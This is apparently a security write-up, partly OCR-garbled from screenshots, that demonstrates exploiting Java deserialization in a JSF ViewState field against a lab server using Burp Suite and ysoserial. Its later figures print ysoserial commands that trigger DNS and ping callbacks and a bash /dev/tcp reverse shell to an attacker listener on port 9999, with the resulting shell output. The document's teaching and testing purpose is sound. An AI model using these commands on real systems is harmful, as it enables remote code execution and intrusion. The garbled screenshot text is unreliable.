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Java Deserialization in ViewState

1. Introduction
In this paper we are going to talk about a technique used to exploit Java web applications. This technique
relies on some vulnerable Java libraries (such as apache “CommonCollections”), which deserializes any

received object without performing any checks.

2. What is Serialization?

Serialization is the process of translating data structures or object state into a format that can be stored
(for example, in a file or memory buffer) or transmitted (such as, across a network connection link) and
reconstructed later (possibly in a different computer environment). It converts an in-memory data
structure to a value that can be stored or transferred. This process of serializing an object is also called
marshalling an object, and it is typically used when data must be moved between different parts of a

computer program or from one program to another.

3. What is Deserialization?

Deserialization takes a series of bytes and converts it to an in-memory data structure that can be
consumed programmatically. A serialized object which was used for communication cannot be processed
by a computer program; therefore, deserialization transforms the object that was used for storage or

transmission to a representation of the object that is executable.

Serialization De-Serialization

Object

ByteStream

Database

Figure 1: Serialization vs Deserialization
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4. Vulnerability Analysis

Before digging any deeper, we need to understand what “ViewState” is. Without state management in
JSF, typically all information associated with the page and the controls on the page would be lost with
each round trip. The purpose of “ViewState” is to memorize the state of the user, even after numerous
HTTP queries (stateless protocol). The objective is to store and restore results of users actions that
impacted the user interface of a web page (choice within drop-down list, check-box selection, etc.). The
“ViewState” of a page is, by default, stored in a hidden form field in the web page named
“‘javax.faces.ViewState”. It works by either saving the state in memory of the server and binds it to the
session, or serialize/deserialize the state in the request/response each time. There are some Java
libraries that accepts any serialized object without performing any checks. This allows leveraging these

libraries to execute an arbitrary code.

"http://www.w3.org/TR/xhtml1/DTD/ xhtmll-transitional . dtd">
faces/index.xhtml" enctype="application/x-www-form-urlencoded">

ame” type="text" name="j_ idt7:username" /=
password” name="j idt7:password” value="" />
value="Submit" /><input type="hidden" name="javax.faces.ViewState" id="javax.faces)ViewState"fjvalue="H4sTAAAAAAAAAIVTOWETORCeviRg0zRpgxFEXUMRBNKGGA

Figure 2: “ViewState” field in the page source of a web application

5. ViewState Encodings

By default, “ViewState” data is stored in the page in a hidden field and is encoded using base64 encoding.
“ViewState” can also be encoded as “base64 and gzip” (Base64Gzip), which starts with “H4slAAA”. Below

is a demonstration of a “ViewState” decoding process in Burp Suite.
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HasIAAAAAAAAAIVTQWITQRCeVIRAQZRPGXFEXUMRBNKGGAWDMGABGKW1mACWD7r|22YbN++tU/OSTQBF/4HgSaha9e DNXy AeBEFB]/4H]97dfU3BAIrENRIMZ2dmy/Im9tlPyEityKF @ Text () Hex ®
| Decode as ... |>
| Encode as ... -
| Hash ... -
A S l Smart decode J
0 flilrksa 4| () Text @ Hex
1 ,B’A$iC4i“ﬂD'AcJ_‘L,lﬁJ | Decode as ... -
2 Il e siee
3 Usf7i-»oMiifl{al | Encode as ... |=
4 xtal_ plrab/fie
5 VyMa [AdFggf;uf | Hash ... =
6 GYOEH-" jODE [[[Y£ T —
effornhar v l Smart decode J
4 3f 40 00 00 00 00 00 oc 77 08 00 00 00 10 00 00 @ fifl Al O Text @ Hex
5 00 05 74 00 of 6a sf 69 64 74 37 3a 75 73 65 72 ([tdi_idt7:user (Decade as =
6 Ge 61 6d 65 75 72 00 13 sb 4c 6a 61 76 61 2e 6c nameur[-f[Ljaval] |
7 61 6e 67 2e 4f 62 6a 65 63 74 3b 90 ce 58 of 10 ang.Object:ix() lEnmde as ... R
8 73 29 6c 0z 00 00 78 70 00 00 00 04 70 70 70 70 Eop il
9 74 00 05 6a sf 69 64 31 75 7 00 7e 00 03 00 00 t/Jfi_idlug~ Jf | Hash ... =
a 00 0z 70 70 74 0o 06 6a sf 69 64 74 34 75 71 00 fopt [[fi_idtaug
h i nn n nn nn nn 02 35 71 on Ia nn o on nn nn ~ [ han~ {1 | l ORI J

Figure 3: ViewState decoding

The “ViewState” string in the first box was first decoded as Base64 (second box), and then decoded as
Gzip as shown in the last box. The decoding process showed the readable text “java.lang.object” and

other Java related information.

6. Attack Requirements

There are three requirements for this attack: Burp Suite, “Ysoserial’, and a vulnerable JSF web
application. Other extensions were used such as Burp collaborator and Java Deserialization Scanner,
which are both available on the professional version of Burp Suite. The Java Deserialization Scanner

extension can also be downloaded from GitHub.

7. Attack Demonstration

In this section, we are going to demonstrate the attack and how to identify a blind RCE to get a fully
interactive shell. We used a tool called “Ysoserial”, which is a collection of utilities and property-oriented
programming "gadget chains" discovered in common java libraries that can, under the right conditions,

exploit Java applications performing unsafe deserialization of objects.

In our demonstration, we first installed an extension in Burp Suite called “Java Deserialization Scanner”.
Java Deserialization Scanner is a Burp Suite plugin, which generates customs payloads aimed at

detecting and exploiting Java deserialization vulnerabilities.
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Then, we intercepted the request and sent it to the extension’s dashboard by clicking “Send to DS

Manual Testing”.

m2B794EF489590D; Path=/portal; HttpOnly

Send to Intruder ctri+i
Send to Repeater ctrl+R
Send to Sequencer

Send to Comparer

18FD66FAORA2BT94EF4895y  Send to Decoder

JEN" "RHEty

/xhtmll/DTD/xhtmll-transitional.dtd"

ndex.xhtml;jsessioni

Show response in browser

ame" Request in browser [

lue="n" /= d request to D
en" name="javax.faces

me" type="text" r‘ane:"j idt7:

"passwor T:passwo

name="j
ien

Send request to DS - Exploitation

Engagement tools [Pro version only]

o Copy URL
;E:Z;:;;?ete: " Copy as curl command
Copy to file
Paste from file
Save item
Don't intercept responses >

Don't intercept requests

Figure 4: Request sent to extension for testing

As we can see in figure 5, the “ViewState” starts with “H4sIAAAA”, which represent the Base64Gzip
encoding format. Then, we selected the ViewState value to test it for deserialization by choose

“Baseb64Gzip” attack.

Target | Prowy [ Spider | scanner | ntruder | Repeater [ Sequencer | Decoder | Comparer | Extender | project options | User options | Alerts [ wsdler [ Deserialzation Scanner |

| anualtesting | Exploiting | Confgurations |

Host: 10,10.20.93 Port: 8080 [ Https
Results:
POST jportalfacesfindexxhtml HTTP/1.1
Host: 10.10.20,93:8080 # Apache Commans Collections 3 (Sleep): NOT vulnerable
User-Agent: Mozillajs.0 (X11; Linux x86_64; rv:60.0) Geckoj20100101 Firefox/0.0 ® Spring Alternate Payload (Sleep): NOT vulnerable.
Accept: text/html applicationfxht mi+xml, application/xml;q= 0.9 ##,q=0 8 # Apache Commons Collections 4 (Sleep): NOT vulnerable,
Accept-Language: en-US,eng=0.5 #JSON (Sleep): NOT vulnerable.
Accept-Encoding: gaip, deflate @ Apache Commons Collections 3 Altemate payload 2 (Sleep):
Referer: http://10.10.20.93:8080fportal/ Potentially VULNERABLE!1!
Content-Type: application/x-www-form-urlencoded  ROME (Sleep): NOT vulnerable.
Content-Length: 898 @ Apache Commons Collections 4 Altemate payload (Sleep): NOT
Cookie: |SESSIONID=B234329A027237879F CAZFBSF1AGS67F vulnerable.
Connection: close # Java B (up to JdkBu20) (Sleep): NOT vulnerable,
Upgrade-Insecure-Requests: 1 ®ava 6 and Java 7 (up to Jdk7u21) (Sleep): NOT vulnerable,
 Hibermate 5 (Sleep): NOT vuinerable
Jdt7=]_idt78]_idt7o%3Ausemame= &i_idt7%3Apassword=6_idt7%3A)_idt 15=Submitjavax faces ViewState= §H4S\AAAAAAAAAJVTZZSTORR%ZBBSRqOZTBuREPFVQ\CDJBSAUGNCEZNDTVOCpVPngOZOZTanmbU # Commons BeanLtis (Sleep): NOT wwinerable
pleC%2F4HgSah QyA0BNHI 2FwaN3Z6Z] 327N 2B%2F Tl 2FxsyQkmY 1dmkinPy 1nsSKYBEFe1UFSGOIKDUbnz)dByHefBD7evBUrk @ Apache Commons Collections 3 Altemate payload 3 (Sleep):
PaV7GExcd114DTc]cSaH\/ZGﬂswzgﬁoﬁeucAgACIOZFngZGz1(fg57EPKZDZbOVaZEFZ\MkjlHGF\szrilpEm07TNFGIHPRGFLET}/SHZVHCSBZCSV)(OEGGSqGDPnUGVng\EJdU)(Cd\ZMEQOthlZmD\/ubeXUn\/erMJ Potentially VULNERABLE!!
Qelivevqskw3qgUL%2F 4ufTEC32Tgpkap! b5 C2al0uH023IVbUUIGYYSbEM7nage PEAKTN]IWSIDbS ISp% 288 ZahAVRBNFYLTYNIXC 3VlesMW4282w0hc hHEBWh TABUB 3UOXVICOGVUWAXXmIBE]RT 1Qc/ShYSEYY ® Spring (Sleep): NOT wulnerable.
qTQagdracjbmivBzd9042yWHKE 3Mc43zZjn3EINDhWIMpYPD% 2BKj\Vs ncLAMeoKTVb ZD Y4 7Vwe 2BRyRQGY2B3IqesfDPuvbBY 2BVUOWTP 1 CAXDE ffaal7mCPAByI0xvygObjThvx75tmgSMTBePZ TEfmxbgxFBA4Ra% 2FFp @ Apache Commons Collections 3 Altemate payload (leep): NOT
SPkWrzksIofiDCnPoikp 2Hhnoz242BC 2y ZIfEAWAAS] vulnerable.

END

IMPORTANT NOTE: High delayed networks may produce false
positives!

Figure 5: Scanning result
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The scan results show that the ViewState parameter is vulnerable to deserialization via
“CommonsCollection” library. Next step in our exploitation process is sending the request to the

exploitation tap as shown in figure 6

[ Comparer I Extender T Project options T User options T Alerts I Wsdler T Deserialization Scanner

_[ Manual testing T Exploiting T Configurations ]

Host:| 10.10.20.93 Port: 8080 [ Https

POST fportalffacesfindex xhtml| HTTPf1.1

Host: 10.10.20.93:8080

User-Agent: MozillafS.0 (X11; Linux x86_64: rnv:50.0) Gecko/20100101 Firefox/560.0
Accept: text/html,applicationjxhtml+xml,applicationfxml;q=0.9 **;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http:ff10.10.20.93:8080/portal/

Content-Type: applicationfx-www-form-urlencoded

Content-Length: 898

Cookie: |]SESSIOMNID=B234320A027237B79FCA2F8OF LAOSETF
Connection: close

Upgrade-Insecure-Requests: 1

_idt7=j_idt7&j_idt7¥3Ausername=&j_idt 7% 3Apassword=&|_idt7%34j_idt 15=Submit&javax faces ViewState=§H4s|AAAAAAAAAINTZ25TQ
RR%2B35RqQzT9oREPFYQICD)BsA0GNCEZNDTVQCRYPOgko202TnbHmMbf|pleC%2F4HgSah49SBe% 2FAVEgyAoENHY 2FwaN3Z 62 NocWeWA
% 2F 3rz ZMN%2B% 2F 7vpl5% 2FxsyQkmY7 919 2B TEGNKxT1dmkinPy15fPhac% 2FUuBVIcsjBldpGyNZg lnsSKYEEfe 1uFs GO3KDUwhnz|dByHefBD7
evBUrkPaY7GExcd114DTe)cBaHVZ GOswz9606eUcAIAC10ZFMYQZ Gz 1tfgSTEPKZD 2b0%2BF2v|ak| 1HGFiwzfQkrtpEMO 7 TNF GIHPRGFLETys
HZVHCB3ZCSYxOEGGEqGDPoUGY2GgiEj4UxCdiZMe80Lhs 1ZiiDVoxMbXUoViRrMiQeLive\/gSkw3ggUL%2F 4ufTE C32Tgpkap FWwxSxWhsC2al
ouHO23i¥YbUurGYyShtM7n99ePtviwtiM|3wsDb5ISp% 2BE8 ZahAVNBMFyLTYMrXC3WIesMjws 2B 2wOhePhHEBWb TAaLIB3u0x\V|| C9G 3vuMAaami6
6]pT1lQcjshYSEYYgTQagdragibmkvBzd9od 2yWHKE3Mc 43z Zjnl 3EINIDhWM|pYP D% 2BKj\VsrxlAMeoKTWb ZDY4 7w 2BRyRQ g% 2B 3lgesfDPusvhb
B% 2BVUOWIPb1CAXDEfaa|7mCPASYIOxwygSb|Thwvx75tmgSMTEePzTEfmxbgxF84Rg% 2FFpSPkWrzkSI0flDCnPoikP2HhNo 2% 2B C 2y Z IrjEAwAA
§

Send to Repeater

Send to Exploitation tab

Figure 6: Exploitation tap

Since this is a blind RCE, we need a way to determine that our exploitation is working. For this reason,

we used Burp Collaborator to generate DNS traffic, shown below in figure 7.

[ rarget [ crov [ Spider [ scanner | intruder | Repeater | sequencer | ecoder | comparer | Extender | Project options | User options | lerts | wsdler | Desenalization seanner |

[ Manual testing [ Explaiting | corfigurations |
Host: 10,10.20.93 Port;[ 8080 O Hetps | Request | Respanse |

artalfaces/indexhtml HTTPIL.1 Raw | Params | Headers | Hex |
110.20.9%:8080

ent: Mozilla/5.0 (X11; Linwx x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Burp Collaborator client e e o
textfhtrr, tion/xhtml-+r 1:9=0 9#p:0=0.8

Accept-Language: en-US,en;q=0.5
Accept-Enceding; gzip, deflate

feferer: hrtp i/10.10,20,93:8080 portall
Content-Type: application/x-ww-form-urlencaded

Linux xB5 64; rv:60.0) Gecko/20160101 Firefox/60.0

(2] click "Copyto clipboard ta generate Burp Collaborator payloads that you can use in your own htmLeaml, apslicatiansanl;g=0.9, +/*; q=0.8

= testing. Any interactions that result frem using the payloads wil appear below.

Cantent-Langth: 898 Generate Collaborator payloads porportal) oded
Caokie: |SESSIONID=B234329802723787 0FCA2FESF 1A0567F

Connaction: close Number to genera... |1 Copy to ciiphoard | ] Include Collaborator server location  Looooo oo o
Uparade-Insecure-Requests: 1 E— | T

JLidi7=1_idt7&)_idt7%3Ausername=&)_idt7%3Apassword= &) idt7%3A]_idtl5=Submitéjavax faces. ViewStats ' oliaboratorinteraction
2ZNDTVOCP! nbHmbj h Z N Poll every 1 seconds | Poll now
VicsiBldpGyNZ g1nsSKYSEfe] uFsGOSKD UwbrzjdSyHelBD7 evaLi) 1407 —
TNFGIHPRGFLETYSHZVHCE3 ZCS¥XOEG GqGDPOUGYZGY EMUXCdizMesOLhs 1ZiiDVoxMbX UoviRrMiQeLiYev

i BNFY TYNPXC i AHEEWhTASUB 3U0XVICSG MUV % a|Tme Type [Payiozd Commant
NIDhWIM)pYPD% 2BV LAMeaK TV ZDYAT 1CAXDEIfaz| 7P 1 2020Feb.1311:35:30UTC  DNS brcz3gsiskosqmrapenazrgoxasn
CPoikP2Hhnoz%2B8C2y ZINEAWAAS 2 2020-Feb-13 11:35:30 UTC DNS bxcz3gsiskofgmrgpBnazrgoxf3sm

< e

[Dmssrption] ons uery |

S Acticni A ) (W a3l R ATIRE The Collaborator server received a DNS lookup of type A for the dormain name

janva -jar ysoserial bxcz2gslskobamrapanazrgoxfasru.burpcollaborator.net

CommonsCollectionss "nsloskup bxe 3sru. net”

The lockup was received from 1P address [ 21 st 2020-Feb-13 11:35:30 LITC,

Figure 7: DNS lookup
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Another way of identifying a blind RCE is by pinging our host and monitoring Wireshark for ICMP

packets as demonstrated in figure 8.

Burp Project Intruder Repeater Window Help
[ Da

Manual testing ExploitingT Configurations ]

ra TTarget I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project op)

Host:|10.10.20.93 port: 8080 [ Http

*ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help bfox/73.0

ebp,**:q=0.8
ADA® +BERB a ¢« > n « » R oo o F

N icmp = Expression...
No. Time Source Destination Protocol Lengtl
I 116 32.355846021 10.10.20.93 ELEELE ICMP 16
111 33.379010785 10.10.20.93 B.8.8.5 ICMP e
112 34.4603746413 10.10.20.93 ICMP

12438 427188642 10 10 20 93

) - g %3Aj_idt15=Submit&javax.faces.View
J : es G ed { ) 0 ertace AbGkw1mAcWD7r)22YbN%2B%2Btu%
et II, Sr V ( 5 9962BM%2Fvu|2SkVjDfpX 1KIUSCrFHdW
7ZnUHIdx9zH6%2FfIDRTAe2xSMHio3r8
hgnWsYFJaddBcQOZMgWbTNN2mFPhg
IFKTgsc43m%2Bfdzrz%2FRNymYqUFas8
(Ou7lkmEhZjHokNYbFoww XapDIItY%2F
eW10Z%2BVnMy4cd8pdUZIViOUhg9cC
Bfx1rkN63IUT73xkHNIZxM%2BrPRoVhRr
BTgz17CConL%2FwBavyhpB2DQajsCYrd

zrnet Protoco

[¢]

00 10 11 12 13 14 15 1
1f 20 21 22 23 24 25 26

® E Internet Pr..), 28 byte  Packets: 125 - Displayed: 13 (10.4%) - Profile: Default

java -jar ysoserial

CommensCollectionss 'ping 10.10.20.91 -n 5*

Figure 8: ICMP requests
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Finally, we prepared a listener on our machine to get a fully interactive reverse shell on the vulnerable

web application, shown in figure 9.

a root@kali: ~

T Sequencer I Decoder T Comparer T Extender I Project

:~# nc -nlvp 9999

listening on [any] 9999 ...

connect to [10.10.20.91] from (UNKNOWN) [10.10.20.93] 46154

Port: 8080 [ | H

testaubuntu: fusr/share/tomcat9/bin$ id

id

uid=10@0(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip
), 46(plugdev),116(1padmin),126( sambashare)

testaubuntu: fusr/share/tomcat9/bin$ whoami

whoami

test

testgubuntu: fusr/share/tomcat9/bin$ uname -a

uname -a

Linux ubuntu 5.3.0-28-generic #3@~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 202
0 x86_64 xB6_64 xB6_64 GNU/Linux

testgubuntu: fusr/share/tomcat9/bin$ I

rv:73.0) Gecko/20100101 Firefox/73.0
plication/xml;q=0.9,image/webp*/*:q=0.8

hcoded

21CAD43BOEBOSAQ

dt79%3Apassword=test&]_idt7%3Aj_idt15=Submit&javax.faces.vie
b T90xFEXUMRBNkgWAWDMGAbGKkw1mAcWD7r)22YbN%2B%2Btu?
ANG7u69)XkCLULDD70zM7G9%2BM%2Fvu) 2S5k ViDfpX1KIUSCriHdV]
DWewopjuh8128VQa3coN|Vs7ZnUHIdx9zH6%2FfiDRTAe2xSMHio3r
kXPSVEBNsQspaPWe7Eme8mhgnWsYFaddBcQ9ZMgWbTNN2mMFPH
cjwietOXFkawlireipBpsoliQlIFKTasc43m%2B8fdzrz%2FRNymYqUFa

2Fc2Xel%2FWPfDgMNsWYOU7IkmEhZjHokNYbFoww XapDllty%s2

w4BOLhwlOHXSZTnAq%2BQ1uClYyUTUcTacC

Glxusu8G5g4Cd6arpiM%2FOjgSGmMTTNG1fO
y5jfvs%2FxggcQDAAA%3DE

AV|FSDDfCpyz49fbyS5165WE457gYFyBVS4DNDTAd7AMBG3n%2FI 7Rt O7bafx 1rkKN63IU73xkHNIZxM%2BrPRoVHE

fnbTXn7fNERSEI]|0CoSaVRgNeW10Z%2BVnMy4ca8paUZIVtOUhgd

%2BalU45Pco8bnKQ7NZ16S]8Tgz17CConL%2FwBavy hpB2DQaj ey

l Set Insertion Point Jl Clear Insertion Point J

java -jar ysoserial

CommonsCollections5 "fbinfbash -c jbinjbashs {IFS}-i>&/dev/tcp/10.10.20.91/9999<&1"who

Figure 9: Interactive sh
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